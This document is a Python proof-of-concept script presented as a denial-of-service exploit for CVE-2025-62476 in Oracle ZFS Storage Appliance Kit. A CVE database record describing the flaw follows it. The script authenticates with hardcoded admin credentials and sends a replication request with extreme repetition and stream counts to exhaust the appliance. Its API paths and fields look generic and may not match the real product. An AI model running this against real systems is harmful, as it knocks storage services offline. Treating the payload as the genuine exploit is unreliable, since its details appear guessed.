CVE-2025-62476

# CVE-2025-62476 - Oracle ZFS Storage Appliance Kit Remote Replication DoS PoC # This PoC demonstrates a denial-of-service attack against the Remote Replication component # Note: Requires high-privileged credentials to exploit import requests import sys import time # Target configuration TARGET_HOST = "https://target-zfs-appliance:215" ADMIN_USER = "admin" ADMIN_PASS = "password123" def exploit_replication_dos(): """ Exploit CVE-2025-62476: Send crafted HTTP request to Remote Replication component to trigger denial of service condition. """ session = requests.Session() # Step 1: Authenticate with high-privileged credentials login_url = f"{TARGET_HOST}/api/auth/login" auth_payload = { "username": ADMIN_USER, "password": ADMIN_PASS } try: response = session.post(login_url, json=auth_payload, verify=False) if response.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") except Exception as e: print(f"[!] Connection error: {e}") return False # Step 2: Send crafted request to Remote Replication endpoint replication_url = f"{TARGET_HOST}/api/replication/action" # Crafted payload designed to trigger resource exhaustion dos_payload = { "action": "replicate", "source": "local", "target": "remote", "compression": "none", "repetitions": 999999999, "concurrent_streams": 65535, "chunk_size": 0 } print("[*] Sending crafted replication request...") response = session.post(replication_url, json=dos_payload, verify=False) if response.status_code == 200: print("[+] Request accepted - DoS condition triggered") print("[*] Target system may hang or crash") return True else: print(f"[-] Request rejected with status: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62476 PoC - Oracle ZFS Storage Appliance Kit DoS") print("=" * 60) exploit_replication_dos()

{"cve": {"id": "CVE-2025-62476", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:54.243", "lastModified": "2025-10-23T16:02:42.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Remote Replication). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:zfs_storage_appliance_kit:8.8:*:*:*:*:*:*:*", "matchCriteriaId": "D3E503FB-6279-4D4A-91D8-E237ECF9D2B0"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}